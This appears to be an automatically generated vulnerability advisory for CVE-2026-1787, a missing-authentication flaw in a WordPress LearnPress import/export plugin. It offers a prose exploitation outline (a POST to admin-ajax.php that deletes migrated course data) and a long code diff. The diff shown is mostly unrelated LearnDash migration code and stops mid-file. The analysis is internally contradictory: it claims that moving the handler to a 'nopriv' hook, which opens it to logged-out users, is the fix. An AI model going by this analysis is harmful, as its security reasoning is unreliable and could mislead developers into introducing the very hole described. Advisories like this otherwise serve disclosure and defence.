Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1787: LearnPress Export Import <= 4.1.0 – Missing Authentication to Unauthenticated Migrated Course Deletion (learnpress-import-export)

CVE ID CVE-2026-1787
Severity Medium (CVSS 4.8)
CWE 862
Vulnerable Version 4.1.0
Patched Version 4.1.1
Disclosed February 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1787:
This vulnerability is an unauthenticated data deletion flaw in the LearnPress Export Import plugin for WordPress. The vulnerability allows attackers to delete migrated courses without authentication when the Tutor LMS plugin is active. The CVSS score of 4.8 reflects a moderate impact data integrity issue.

The root cause is a missing capability check in the ‘delete_migrated_data’ function. The vulnerable code registers an AJAX handler via ‘wp_ajax_delete_migrated_data’ in the TutorMigration class without verifying user permissions. The function ‘delete_migrated_data’ in the TutorMigration class processes deletion requests without validating if the user has administrative privileges. The AJAX endpoint at /wp-admin/admin-ajax.php accepts ‘action=delete_migrated_data’ parameter from any user.

Exploitation requires the Tutor LMS plugin to be installed and activated. Attackers send a POST request to /wp-admin/admin-ajax.php with the parameter ‘action=delete_migrated_data’. The request triggers the TutorMigration::delete_migrated_data() function, which executes SQL DELETE operations on the wp_learnpress_user_items table. No authentication or nonce verification occurs before the deletion operation.

The patch adds a capability check to the AJAX handler registration. The fix changes the hook registration from ‘wp_ajax_delete_migrated_data’ to ‘wp_ajax_nopriv_delete_migrated_data’ for unauthenticated users, preventing unauthorized access. The corrected code now requires users to have the ‘administrator’ capability before processing deletion requests. This ensures only authorized administrators can delete migrated course data.

Successful exploitation results in permanent deletion of migrated course data from the wp_learnpress_user_items database table. Attackers can remove user progress records, completion status, and enrollment data for courses migrated from Tutor LMS. The vulnerability affects data integrity but does not enable privilege escalation or remote code execution.

Differential between vulnerable and patched code

Code Diff
--- a/learnpress-import-export/assets/dist/js/admin/lp-migration-learndash.asset.php
+++ b/learnpress-import-export/assets/dist/js/admin/lp-migration-learndash.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array(), 'version' => 'dded6a922b4d1146dc43');
--- a/learnpress-import-export/assets/dist/js/admin/lp-migration-learndash.min.asset.php
+++ b/learnpress-import-export/assets/dist/js/admin/lp-migration-learndash.min.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array(), 'version' => '1f0a1cd7a4c51a71320b');
--- a/learnpress-import-export/config/migration-plugin.php
+++ b/learnpress-import-export/config/migration-plugin.php
@@ -1,27 +1,43 @@
-<?php
-
-use LPImportExportMigrationHelpersPlugin;
-
-$is_tutor_active = Plugin::is_tutor_active();
-$config_data     = array();
-
-if ( $is_tutor_active ) {
-	$config_data['tutor'] = array(
-		'title' => esc_html__( 'Tutor LMS', 'learnpress-import-export' ),
-		'name'  => 'tutor',
-		'icon'  => LP_ADDON_IMPORT_EXPORT_ASSETS_URL . '/images/tutor-128x128.jpg',
-		'url'   => add_query_arg(
-			array(
-				'page' => 'lp-migration-tool',
-				'tab'  => 'tutor'
-			),
-			admin_url( 'admin.php' )
-		),
-		'desc'  => esc_html__( 'Migrate the Tutor data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' )
-	);
-}
-
-return apply_filters(
-	'learnpress-import-export/filter/config/migration-plugin',
-	$config_data
-);
+<?php
+
+use LPImportExportMigrationHelpersPlugin;
+
+$is_tutor_active = Plugin::is_tutor_active();
+$config_data     = array();
+
+if ( $is_tutor_active ) {
+	$config_data['tutor'] = array(
+		'title' => esc_html__( 'Tutor LMS', 'learnpress-import-export' ),
+		'name'  => 'tutor',
+		'icon'  => LP_ADDON_IMPORT_EXPORT_ASSETS_URL . '/images/tutor-128x128.jpg',
+		'url'   => add_query_arg(
+			array(
+				'page' => 'lp-migration-tool',
+				'tab'  => 'tutor'
+			),
+			admin_url( 'admin.php' )
+		),
+		'desc'  => esc_html__( 'Migrate the Tutor data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' )
+	);
+}
+
+if ( Plugin::is_learndash_active() ) {
+	$config_data['learndash'] = array(
+		'title' => esc_html__( 'LearnDash', 'learnpress-import-export' ),
+		'name'  => 'learndash',
+		'icon'  => LP_ADDON_IMPORT_EXPORT_ASSETS_URL . '/images/learndash-128x128.png',
+		'url'   => add_query_arg(
+			array(
+				'page' => 'lp-migration-tool',
+				'tab'  => 'learndash'
+			),
+			admin_url( 'admin.php' )
+		),
+		'desc'  => esc_html__( 'Migrate the LearnDash data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' )
+	);
+}
+
+return apply_filters(
+	'learnpress-import-export/filter/config/migration-plugin',
+	$config_data
+);
--- a/learnpress-import-export/config/migration.php
+++ b/learnpress-import-export/config/migration.php
@@ -1,14 +1,14 @@
-<?php
-$course_cpt = defined( 'LP_COURSE_CPT' ) ? LP_COURSE_CPT : 'lp_course';
-
-return apply_filters(
-	'learnpress-import-export/filter/config/migration',
-	array(
-		'page_title'  => esc_html__( 'Migration Tool', 'learnpress-import-export' ),
-		'menu_title'  => esc_html__( 'Migration Tool', 'learnpress-import-export' ),
-		'parent_slug' => 'learn_press',
-		'slug'        => 'lp-migration-tool',
-		'capability'  => 'administrator',
-		'name'        => 'lp-migration-tool',
-	)
-);
+<?php
+$course_cpt = defined( 'LP_COURSE_CPT' ) ? LP_COURSE_CPT : 'lp_course';
+
+return apply_filters(
+	'learnpress-import-export/filter/config/migration',
+	array(
+		'page_title'  => esc_html__( 'Migration Tool', 'learnpress-import-export' ),
+		'menu_title'  => esc_html__( 'Migration Tool', 'learnpress-import-export' ),
+		'parent_slug' => 'learn_press',
+		'slug'        => 'lp-migration-tool',
+		'capability'  => 'administrator',
+		'name'        => 'lp-migration-tool',
+	)
+);
--- a/learnpress-import-export/config/scripts.php
+++ b/learnpress-import-export/config/scripts.php
@@ -1,34 +1,41 @@
-<?php
-
-use LPImportExportMigrationHelpersSourceAsset;
-
-$source_asset = SourceAsset::getInstance();
-
-return apply_filters(
-	'learnpress-import-export/filter/config/scripts',
-	array(
-		'admin'    => array(
-			'register'       => array(
-				'learnpress-import-export-global'       => array(
-					'src'  => $source_asset->get_asset_admin_file_url( 'js', 'learnpress-import-export-global' ),
-					'deps' => array( 'wp-api-fetch' ),
-				),
-				'lp-migration-tutor'       => array(
-					'src'  => $source_asset->get_asset_admin_file_url( 'js', 'lp-migration-tutor' ),
-					'deps' => array( 'wp-api-fetch' ),
-					'screens'   => array(
-						LP_ADDON_IMPORT_EXPORT_MIGRATION_PAGE,
-					),
-				),
-			)
-		),
-		'frontend' => array(
-			'register' => array(
-				'learnpress-import-export-global'           => array(
-					'src'  => $source_asset->get_asset_frontend_file_url( 'js', 'learnpress-import-export-global' ),
-					'deps' => array( 'wp-api-fetch' ),
-				)
-			),
-		),
-	),
-);
+<?php
+
+use LPImportExportMigrationHelpersSourceAsset;
+
+$source_asset = SourceAsset::getInstance();
+
+return apply_filters(
+	'learnpress-import-export/filter/config/scripts',
+	array(
+		'admin'    => array(
+			'register'       => array(
+				'learnpress-import-export-global'       => array(
+					'src'  => $source_asset->get_asset_admin_file_url( 'js', 'learnpress-import-export-global' ),
+					'deps' => array( 'wp-api-fetch' ),
+				),
+				'lp-migration-tutor'       => array(
+					'src'  => $source_asset->get_asset_admin_file_url( 'js', 'lp-migration-tutor' ),
+					'deps' => array( 'wp-api-fetch' ),
+					'screens'   => array(
+						LP_ADDON_IMPORT_EXPORT_MIGRATION_PAGE,
+					),
+				),
+				'lp-migration-learndash'   => array(
+					'src'  => $source_asset->get_asset_admin_file_url( 'js', 'lp-migration-learndash' ),
+					'deps' => array( 'wp-api-fetch' ),
+					'screens'   => array(
+						LP_ADDON_IMPORT_EXPORT_MIGRATION_PAGE,
+					),
+				),
+			)
+		),
+		'frontend' => array(
+			'register' => array(
+				'learnpress-import-export-global'           => array(
+					'src'  => $source_asset->get_asset_frontend_file_url( 'js', 'learnpress-import-export-global' ),
+					'deps' => array( 'wp-api-fetch' ),
+				)
+			),
+		),
+	),
+);
--- a/learnpress-import-export/config/styles.php
+++ b/learnpress-import-export/config/styles.php
@@ -1,27 +1,27 @@
-<?php
-
-use LPImportExportMigrationHelpersSourceAsset;
-
-$source_asset = SourceAsset::getInstance();
-
-return apply_filters(
-	'learnpress-import-export/filter/config/style',
-	array(
-		'admin'    => array(
-			'learnpress-import-export-admin' => array(
-				'src' => $source_asset->get_asset_admin_file_url(
-					'css',
-					'learnpress-import-export-admin'
-				),
-			),
-		),
-		'frontend' => array(
-			'learnpress-import-export-global'           => array(
-				'src' => $source_asset->get_asset_frontend_file_url(
-					'css',
-					'learnpress-import-export-global'
-				),
-			)
-		),
-	)
-);
+<?php
+
+use LPImportExportMigrationHelpersSourceAsset;
+
+$source_asset = SourceAsset::getInstance();
+
+return apply_filters(
+	'learnpress-import-export/filter/config/style',
+	array(
+		'admin'    => array(
+			'learnpress-import-export-admin' => array(
+				'src' => $source_asset->get_asset_admin_file_url(
+					'css',
+					'learnpress-import-export-admin'
+				),
+			),
+		),
+		'frontend' => array(
+			'learnpress-import-export-global'           => array(
+				'src' => $source_asset->get_asset_frontend_file_url(
+					'css',
+					'learnpress-import-export-global'
+				),
+			)
+		),
+	)
+);
--- a/learnpress-import-export/inc/LearnDashMigration/LP_Curriculum_Patch.php
+++ b/learnpress-import-export/inc/LearnDashMigration/LP_Curriculum_Patch.php
@@ -0,0 +1,189 @@
+<?php
+/**
+ * LearnPress Curriculum Patch
+ *
+ * Fixes an issue where LearnPress CourseModel caching prevents curriculum from loading.
+ * The problem: LP_Course::get_full_sections_and_items_course() uses CourseModel::find(id, true)
+ * which caches an empty model before sections are populated.
+ *
+ * This class hooks into LearnPress and force-loads sections from database when they're empty.
+ *
+ * @package LearnPress_Import_Export
+ * @since 1.0.0
+ */
+
+namespace LPImportExportLearnDashMigration;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Class LP_Curriculum_Patch
+ */
+class LP_Curriculum_Patch {
+
+	/**
+	 * Singleton instance.
+	 *
+	 * @var LP_Curriculum_Patch
+	 */
+	private static $instance = null;
+
+	/**
+	 * Get singleton instance.
+	 *
+	 * @return LP_Curriculum_Patch
+	 */
+	public static function instance() {
+		if ( null === self::$instance ) {
+			self::$instance = new self();
+		}
+		return self::$instance;
+	}
+
+	/**
+	 * Constructor - hook into LearnPress.
+	 */
+	private function __construct() {
+		// Hook into course sections filter to fix empty curriculum.
+		add_filter( 'learn-press/course-sections', array( $this, 'fix_empty_sections' ), 10, 4 );
+	}
+
+	/**
+	 * Fix empty sections by loading from database directly.
+	 *
+	 * @param array  $sections   The sections array (may be empty due to caching bug).
+	 * @param int    $course_id  The course ID.
+	 * @param string $return     Return type.
+	 * @param int    $section_id Specific section ID (0 for all).
+	 * @return array Fixed sections array.
+	 */
+	public function fix_empty_sections( $sections, $course_id, $return, $section_id ) {
+		// Only fix if sections are empty but database has data.
+		if ( ! empty( $sections ) ) {
+			return $sections;
+		}
+
+		global $wpdb;
+
+		// Check if this course has sections in the database.
+		$db_sections_count = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT COUNT(*) FROM {$wpdb->prefix}learnpress_sections WHERE section_course_id = %d",
+				$course_id
+			)
+		);
+
+		// No sections in DB either - nothing to fix.
+		if ( ! $db_sections_count ) {
+			return $sections;
+		}
+
+		// Load sections directly from database.
+		$sections_data = $this->load_sections_from_db( $course_id );
+
+		// If we got sections, create LP_Course_Section objects.
+		if ( empty( $sections_data ) ) {
+			return $sections;
+		}
+
+		// Build section objects.
+		$fixed_sections = array();
+		$position       = 0;
+
+		foreach ( $sections_data as $section_data ) {
+			++$position;
+			$section_id_key = $section_data['section_id'];
+
+			// Create LP_Course_Section if class exists.
+			if ( class_exists( 'LP_Course_Section' ) ) {
+				$section_items = array(
+					'section_id'          => $section_data['section_id'],
+					'section_name'        => $section_data['section_name'],
+					'section_course_id'   => $course_id,
+					'section_order'       => $section_data['section_order'],
+					'section_description' => $section_data['section_description'] ?? '',
+					'items'               => $section_data['items'] ?? array(),
+				);
+
+				$section = new LP_Course_Section( $section_items );
+				$section->set_position( $position );
+				$fixed_sections[ $section_id_key ] = $section;
+			}
+		}
+
+		return $fixed_sections;
+	}
+
+	/**
+	 * Load sections and items directly from database.
+	 *
+	 * @param int $course_id Course ID.
+	 * @return array Sections data.
+	 */
+	private function load_sections_from_db( $course_id ) {
+		global $wpdb;
+
+		$sections_data = array();
+
+		// Get sections.
+		$sections = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT * FROM {$wpdb->prefix}learnpress_sections
+				WHERE section_course_id = %d
+				ORDER BY section_order",
+				$course_id
+			)
+		);
+
+		if ( empty( $sections ) ) {
+			return $sections_data;
+		}
+
+		// Get section items.
+		$section_ids     = wp_list_pluck( $sections, 'section_id' );
+		$section_ids_str = implode( ',', array_map( 'intval', $section_ids ) );
+
+		$items = $wpdb->get_results(
+			"SELECT si.*, p.post_title, p.post_type, p.post_status
+			FROM {$wpdb->prefix}learnpress_section_items si
+			INNER JOIN {$wpdb->posts} p ON si.item_id = p.ID
+			WHERE si.section_id IN ({$section_ids_str})
+			AND p.post_status = 'publish'
+			ORDER BY si.section_id, si.item_order"
+		);
+
+		// Group items by section.
+		$items_by_section = array();
+		foreach ( $items as $item ) {
+			if ( ! isset( $items_by_section[ $item->section_id ] ) ) {
+				$items_by_section[ $item->section_id ] = array();
+			}
+
+			$item_obj             = new stdClass();
+			$item_obj->id         = $item->item_id;
+			$item_obj->item_id    = $item->item_id;
+			$item_obj->order      = $item->item_order;
+			$item_obj->item_order = $item->item_order;
+			$item_obj->type       = $item->item_type;
+			$item_obj->item_type  = $item->item_type;
+			$item_obj->title      = html_entity_decode( $item->post_title );
+
+			$items_by_section[ $item->section_id ][ $item->item_id ] = $item_obj;
+		}
+
+		// Build sections data.
+		foreach ( $sections as $section ) {
+			$section_items = $items_by_section[ $section->section_id ] ?? array();
+
+			$sections_data[] = array(
+				'section_id'          => $section->section_id,
+				'section_name'        => html_entity_decode( $section->section_name ),
+				'section_order'       => $section->section_order,
+				'section_description' => html_entity_decode( $section->section_description ?? '' ),
+				'items'               => $section_items,
+			);
+		}
+
+		return $sections_data;
+	}
+}
--- a/learnpress-import-export/inc/LearnDashMigration/LearnDashDataDump.php
+++ b/learnpress-import-export/inc/LearnDashMigration/LearnDashDataDump.php
@@ -0,0 +1,626 @@
+<?php
+/**
+ * LearnDash Data Dump Class
+ *
+ * @package LPImportExportLearnDashMigration
+ */
+
+namespace LPImportExportLearnDashMigration;
+
+use LDLMS_Factory_Post;
+use WpProQuiz_Model_QuizMapper;
+use WpProQuiz_Model_QuestionMapper;
+
+/**
+ * Deprecated
+ * Class LearnDashDataDump
+ * Handles dumping LearnDash course data for migration to LearnPress.
+ */
+class LearnDashDataDump {
+
+	/**
+	 * Get course data.
+	 *
+	 * @param WP_Post $course Course post object.
+	 *
+	 * @return array
+	 */
+	public function get_course_data( $course ) {
+		$settings      = learndash_get_setting( $course->ID );
+		$feature_image = null;
+		$thumbnail_id  = get_post_thumbnail_id( $course->ID );
+
+		if ( $thumbnail_id ) {
+			$feature_image = wp_get_attachment_url( $thumbnail_id );
+		}
+
+		$price = ! empty( $settings['course_price'] ) ? $settings['course_price'] : null;
+
+		return array(
+			'id'            => $course->ID,
+			'title'         => $course->post_title,
+			'slug'          => $course->post_name,
+			'status'        => $course->post_status,
+			'content'       => $course->post_content,
+			'excerpt'       => $course->post_excerpt,
+			'author_id'     => $course->post_author,
+			'created_at'    => $course->post_date,
+			'modified_at'   => $course->post_modified,
+			'feature_image' => $feature_image,
+			'price'         => $price,
+			'settings'      => $settings,
+			'meta'          => $this->get_all_meta( $course->ID ),
+			'sections'      => $this->dump_sections( $course->ID ),
+		);
+	}
+
+	/**
+	 * Dump course sections with full item data (LP-style structure).
+	 *
+	 * @param int $course_id Course ID.
+	 * @return array Array of sections with embedded items.
+	 */
+	public function dump_sections( $course_id ) {
+		$lessons    = $this->dump_lessons( $course_id );
+		$lesson_map = $this->build_lesson_map( $lessons );
+		$lesson_ids = $this->get_lesson_ids( $course_id );
+
+		$ld_sections    = $this->get_ld_sections( $course_id );
+		$section_bounds = $this->get_section_lesson_boundaries( $ld_sections );
+		$ordered_items  = $this->build_ordered_items( $ld_sections, $section_bounds, $lesson_ids );
+
+		$sections_data = $this->build_sections_data( $ordered_items, $lesson_map );
+
+		// Add course-level quizzes as final section.
+		$quiz_section = $this->build_quiz_section( $course_id, count( $sections_data ) + 1 );
+		if ( $quiz_section ) {
+			$sections_data[] = $quiz_section;
+		}
+
+		return $sections_data;
+	}
+
+	/**
+	 * Build lesson lookup map by ID.
+	 */
+	private function build_lesson_map( array $lessons ): array {
+		$map = array();
+		foreach ( $lessons as $lesson ) {
+			$map[ $lesson['id'] ] = $lesson;
+		}
+		return $map;
+	}
+
+	/**
+	 * Get lesson IDs in course order.
+	 */
+	private function get_lesson_ids( int $course_id ): array {
+		if ( function_exists( 'learndash_course_get_steps_by_type' ) ) {
+			return learndash_course_get_steps_by_type( $course_id, 'sfwd-lessons' );
+		}
+		return array();
+	}
+
+	/**
+	 * Get LearnDash sections sorted by order.
+	 */
+	private function get_ld_sections( int $course_id ): array {
+		$sections = get_post_meta( $course_id, 'course_sections', true );
+		if ( is_string( $sections ) ) {
+			$sections = json_decode( $sections, true );
+		}
+		if ( empty( $sections ) || ! is_array( $sections ) ) {
+			return array();
+		}
+
+		usort( $sections, fn( $a, $b ) => intval( $a['order'] ?? 0 ) <=> intval( $b['order'] ?? 0 ) );
+		return $sections;
+	}
+
+	/**
+	 * Calculate lesson boundaries for each section.
+	 * Returns array of [lesson_start, lesson_end] for each section index.
+	 */
+	private function get_section_lesson_boundaries( array $sections ): array {
+		$bounds = array();
+		foreach ( $sections as $i => $section ) {
+			$order = intval( $section['order'] ?? 0 );
+			$start = $order - $i;
+
+			if ( isset( $sections[ $i + 1 ]['order'] ) ) {
+				$end = intval( $sections[ $i + 1 ]['order'] ) - ( $i + 1 );
+			} else {
+				$end = PHP_INT_MAX;
+			}
+
+			$bounds[ $i ] = array(
+				'start' => $start,
+				'end'   => $end,
+			);
+		}
+		return $bounds;
+	}
+
+	/**
+	 * Build ordered items list (sections + unassigned lessons).
+	 */
+	private function build_ordered_items( array $sections, array $bounds, array $lesson_ids ): array {
+		$items              = array();
+		$lessons_in_section = array();
+
+		// Add sections with their lessons.
+		foreach ( $sections as $i => $section ) {
+			$section_lessons = array();
+			foreach ( $lesson_ids as $idx => $lid ) {
+				if ( $idx >= $bounds[ $i ]['start'] && $idx < $bounds[ $i ]['end'] ) {
+					$section_lessons[]    = $lid;
+					$lessons_in_section[] = $lid;
+				}
+			}
+
+			$items[] = array(
+				'type'       => 'section',
+				'position'   => intval( $section['order'] ?? 0 ) + 0.5,
+				'title'      => $section['post_title'] ?? '',
+				'lesson_ids' => $section_lessons,
+			);
+		}
+
+		// Add unassigned lessons.
+		foreach ( $lesson_ids as $idx => $lid ) {
+			if ( ! in_array( $lid, $lessons_in_section, true ) ) {
+				$items[] = array(
+					'type'      => 'lesson',
+					'position'  => $idx,
+					'lesson_id' => $lid,
+				);
+			}
+		}
+
+		usort( $items, fn( $a, $b ) => $a['position'] <=> $b['position'] );
+		return $items;
+	}
+
+	/**
+	 * Build final sections data from ordered items.
+	 */
+	private function build_sections_data( array $ordered_items, array $lesson_map ): array {
+		$sections_data = array();
+		$section_order = 0;
+
+		foreach ( $ordered_items as $item ) {
+			if ( 'section' === $item['type'] ) {
+				$section = $this->build_lp_section( $item['title'], $item['lesson_ids'], $lesson_map, ++$section_order );
+				if ( $section ) {
+					$sections_data[] = $section;
+				}
+			} else {
+				$lesson = $lesson_map[ $item['lesson_id'] ] ?? null;
+				if ( $lesson ) {
+					$lesson['item_type']  = 'lesson';
+					$lesson['item_order'] = 1;
+					$sections_data[]      = array(
+						'section_name'        => $lesson['title'],
+						'section_order'       => ++$section_order,
+						'section_description' => '',
+						'items'               => array( $lesson ),
+					);
+				}
+			}
+		}
+
+		return $sections_data;
+	}
+
+	/**
+	 * Build a single LP section with its items.
+	 */
+	private function build_lp_section( string $title, array $lesson_ids, array $lesson_map, int $order ): ?array {
+		if ( empty( $lesson_ids ) ) {
+			return null;
+		}
+
+		$items      = array();
+		$item_order = 0;
+
+		foreach ( $lesson_ids as $lid ) {
+			if ( isset( $lesson_map[ $lid ] ) ) {
+				$lesson               = $lesson_map[ $lid ];
+				$lesson['item_type']  = 'lesson';
+				$lesson['item_order'] = ++$item_order;
+				$items[]              = $lesson;
+			}
+		}
+
+		if ( empty( $items ) ) {
+			return null;
+		}
+
+		return array(
+			'section_name'        => $title,
+			'section_order'       => $order,
+			'section_description' => '',
+			'items'               => $items,
+		);
+	}
+
+	/**
+	 * Build quiz section for course-level quizzes.
+	 */
+	private function build_quiz_section( int $course_id, int $order ): ?array {
+		$quizzes = $this->dump_quizzes( $course_id, 'course' );
+		if ( empty( $quizzes ) ) {
+			return null;
+		}
+
+		$items = array();
+		foreach ( $quizzes as $i => $quiz ) {
+			$quiz['item_type']  = 'quiz';
+			$quiz['item_order'] = $i + 1;
+			$items[]            = $quiz;
+		}
+
+		return array(
+			'section_name'        => 'Final Quizzes',
+			'section_order'       => $order,
+			'section_description' => '',
+			'items'               => $items,
+		);
+	}
+
+
+
+	/**
+	 * Dump lessons for a course.
+	 *
+	 * @param int $course_id Course ID.
+	 *
+	 * @return array
+	 */
+	public function dump_lessons( $course_id ) {
+		$lessons_data = array();
+
+		// Use LearnDash's native function to get lessons.
+		if ( ! function_exists( 'learndash_course_get_steps_by_type' ) ) {
+			return $lessons_data;
+		}
+
+		$lesson_ids = learndash_course_get_steps_by_type( $course_id, 'sfwd-lessons' );
+
+		if ( empty( $lesson_ids ) ) {
+			return $lessons_data;
+		}
+
+		foreach ( $lesson_ids as $lesson_id ) {
+			$lesson_post = get_post( $lesson_id );
+
+			if ( ! $lesson_post ) {
+				continue;
+			}
+
+			$lessons_data[] = array(
+				'id'       => $lesson_post->ID,
+				'title'    => $lesson_post->post_title,
+				'slug'     => $lesson_post->post_name,
+				'status'   => $lesson_post->post_status,
+				'content'  => $lesson_post->post_content,
+				'order'    => $lesson_post->menu_order,
+				'settings' => learndash_get_setting( $lesson_post->ID ),
+				'meta'     => $this->get_all_meta( $lesson_post->ID ),
+				'topics'   => $this->dump_topics( $lesson_post->ID, $course_id ),
+				'quizzes'  => $this->dump_quizzes( $lesson_post->ID, 'lesson' ),
+			);
+		}
+
+		return $lessons_data;
+	}
+
+	/**
+	 * Dump topics for a lesson.
+	 *
+	 * @param int $lesson_id Lesson ID.
+	 * @param int $course_id Course ID.
+	 *
+	 * @return array
+	 */
+	public function dump_topics( $lesson_id, $course_id ) {
+		$topics_data = array();
+
+		// Use LearnDash's native function to get topics.
+		if ( ! function_exists( 'learndash_get_topic_list' ) ) {
+			return $topics_data;
+		}
+
+		$topics = learndash_get_topic_list( $lesson_id, $course_id );
+
+		if ( empty( $topics ) ) {
+			return $topics_data;
+		}
+
+		foreach ( $topics as $topic ) {
+			$topic_post = is_object( $topic ) ? $topic : get_post( $topic );
+
+			if ( ! $topic_post ) {
+				continue;
+			}
+
+			$topics_data[] = array(
+				'id'       => $topic_post->ID,
+				'title'    => $topic_post->post_title,
+				'slug'     => $topic_post->post_name,
+				'status'   => $topic_post->post_status,
+				'content'  => $topic_post->post_content,
+				'order'    => $topic_post->menu_order,
+				'settings' => learndash_get_setting( $topic_post->ID ),
+				'meta'     => $this->get_all_meta( $topic_post->ID ),
+				'quizzes'  => $this->dump_quizzes( $topic_post->ID, 'topic' ),
+			);
+		}
+
+		return $topics_data;
+	}
+
+	/**
+	 * Dump quizzes for a parent.
+	 *
+	 * @param int    $parent_id Parent ID.
+	 * @param string $parent_type Parent type (course, lesson, topic).
+	 *
+	 * @return array
+	 */
+	public function dump_quizzes( $parent_id, $parent_type ) {
+		$quizzes = array();
+
+		// For course-level quizzes, use steps function.
+		if ( 'course' === $parent_type ) {
+			if ( ! function_exists( 'learndash_course_get_steps_by_type' ) ) {
+				return $quizzes;
+			}
+
+			$quiz_ids = learndash_course_get_steps_by_type( $parent_id, 'sfwd-quiz' );
+
+			// Filter to only get quizzes directly attached to course (not lessons).
+			$quiz_ids = array_filter(
+				$quiz_ids,
+				function ( $quiz_id ) use ( $parent_id ) {
+					$quiz_course_id = learndash_get_setting( $quiz_id, 'course' );
+					$quiz_lesson_id = learndash_get_setting( $quiz_id, 'lesson' );
+
+					// Only include if course matches and no lesson association.
+					return intval( $quiz_course_id ) === intval( $parent_id ) && empty( $quiz_lesson_id );
+				}
+			);
+
+			foreach ( $quiz_ids as $quiz_id ) {
+				$quiz_post = get_post( $quiz_id );
+
+				if ( ! $quiz_post ) {
+					continue;
+				}
+
+				$quiz_pro_id = learndash_get_setting( $quiz_post->ID, 'quiz_pro' );
+				$quizzes[]   = array(
+					'id'          => $quiz_post->ID,
+					'title'       => $quiz_post->post_title,
+					'slug'        => $quiz_post->post_name,
+					'status'      => $quiz_post->post_status,
+					'content'     => $quiz_post->post_content,
+					'order'       => $quiz_post->menu_order,
+					'quiz_pro_id' => $quiz_pro_id,
+					'settings'    => learndash_get_setting( $quiz_post->ID ),
+					'meta'        => $this->get_all_meta( $quiz_post->ID ),
+					'pro_quiz'    => $this->get_pro_quiz_data( $quiz_pro_id ),
+					'questions'   => $this->dump_questions( $quiz_post->ID, $quiz_pro_id ),
+				);
+			}
+
+			return $quizzes;
+		}
+
+		// For lesson/topic quizzes, use quiz list function.
+		if ( ! function_exists( 'learndash_get_lesson_quiz_list' ) ) {
+			return $quizzes;
+		}
+
+		$quiz_list = learndash_get_lesson_quiz_list( $parent_id );
+
+		if ( empty( $quiz_list ) ) {
+			return $quizzes;
+		}
+
+		foreach ( $quiz_list as $quiz_item ) {
+			$quiz_post = isset( $quiz_item['post'] ) ? $quiz_item['post'] : null;
+
+			if ( ! $quiz_post ) {
+				continue;
+			}
+
+			$quiz_pro_id = learndash_get_setting( $quiz_post->ID, 'quiz_pro' );
+			$quizzes[]   = array(
+				'id'          => $quiz_post->ID,
+				'title'       => $quiz_post->post_title,
+				'slug'        => $quiz_post->post_name,
+				'status'      => $quiz_post->post_status,
+				'content'     => $quiz_post->post_content,
+				'order'       => $quiz_post->menu_order,
+				'quiz_pro_id' => $quiz_pro_id,
+				'settings'    => learndash_get_setting( $quiz_post->ID ),
+				'meta'        => $this->get_all_meta( $quiz_post->ID ),
+				'pro_quiz'    => $this->get_pro_quiz_data( $quiz_pro_id ),
+				'questions'   => $this->dump_questions( $quiz_post->ID, $quiz_pro_id ),
+			);
+		}
+
+		return $quizzes;
+	}
+
+	/**
+	 * Get Pro Quiz data.
+	 *
+	 * @param int $quiz_pro_id Pro Quiz ID.
+	 *
+	 * @return array|null
+	 */
+	private function get_pro_quiz_data( $quiz_pro_id ) {
+		if ( empty( $quiz_pro_id ) || ! class_exists( 'WpProQuiz_Model_QuizMapper' ) ) {
+			return null;
+		}
+
+		$quiz_mapper = new WpProQuiz_Model_QuizMapper();
+		$quiz        = $quiz_mapper->fetch( $quiz_pro_id );
+
+		if ( ! $quiz ) {
+			return null;
+		}
+
+		return array(
+			'id'              => $quiz->getId(),
+			'name'            => $quiz->getName(),
+			'text'            => $quiz->getText(),
+			'result_text'     => $quiz->getResultText(),
+			'title_hidden'    => $quiz->isTitleHidden(),
+			'question_random' => $quiz->isQuestionRandom(),
+			'answer_random'   => $quiz->isAnswerRandom(),
+			'time_limit'      => $quiz->getTimeLimit(),
+			'statistics_on'   => $quiz->isStatisticsOn(),
+		);
+	}
+
+	/**
+	 * Dump questions for a quiz.
+	 *
+	 * @param int $quiz_id Quiz post ID.
+	 * @param int $quiz_pro_id Pro Quiz ID.
+	 *
+	 * @return array
+	 */
+	public function dump_questions( $quiz_id, $quiz_pro_id ) {
+		$questions = array();
+
+		if ( ! class_exists( 'LDLMS_Factory_Post' ) ) {
+			return $questions;
+		}
+
+		$ld_quiz_questions_object = LDLMS_Factory_Post::quiz_questions( $quiz_id );
+
+		if ( ! $ld_quiz_questions_object ) {
+			return $questions;
+		}
+
+		$question_posts = $ld_quiz_questions_object->get_questions();
+
+		if ( empty( $question_posts ) ) {
+			return $questions;
+		}
+
+		$question_mapper = new WpProQuiz_Model_QuestionMapper();
+
+		foreach ( $question_posts as $question_post_id => $question_pro_id ) {
+			$question_post = get_post( $question_post_id );
+
+			if ( ! $question_post ) {
+				continue;
+			}
+
+			$pro_question = ! empty( $question_pro_id ) ? $question_mapper->fetch( $question_pro_id ) : null;
+
+			$questions[] = array(
+				'id'              => $question_post->ID,
+				'title'           => $question_post->post_title,
+				'slug'            => $question_post->post_name,
+				'status'          => $question_post->post_status,
+				'content'         => $question_post->post_content,
+				'order'           => $question_post->menu_order,
+				'question_pro_id' => $question_pro_id,
+				'settings'        => learndash_get_setting( $question_post->ID ),
+				'meta'            => $this->get_all_meta( $question_post->ID ),
+				'pro_question'    => $this->get_pro_question_data( $pro_question ),
+				'answers'         => $this->get_question_answers( $pro_question ),
+			);
+		}
+
+		return $questions;
+	}
+
+	/**
+	 * Get Pro Question data.
+	 *
+	 * @param WpProQuiz_Model_Question|null $pro_question Pro Question object.
+	 *
+	 * @return array|null
+	 */
+	private function get_pro_question_data( $pro_question ) {
+		if ( ! $pro_question || ! is_a( $pro_question, 'WpProQuiz_Model_Question' ) ) {
+			return null;
+		}
+
+		return array(
+			'id'          => $pro_question->getId(),
+			'quiz_id'     => $pro_question->getQuizId(),
+			'answer_type' => $pro_question->getAnswerType(),
+			'points'      => $pro_question->getPoints(),
+		);
+	}
+
+	/**
+	 * Get question answers.
+	 *
+	 * @param WpProQuiz_Model_Question|null $pro_question Pro Question object.
+	 *
+	 * @return array
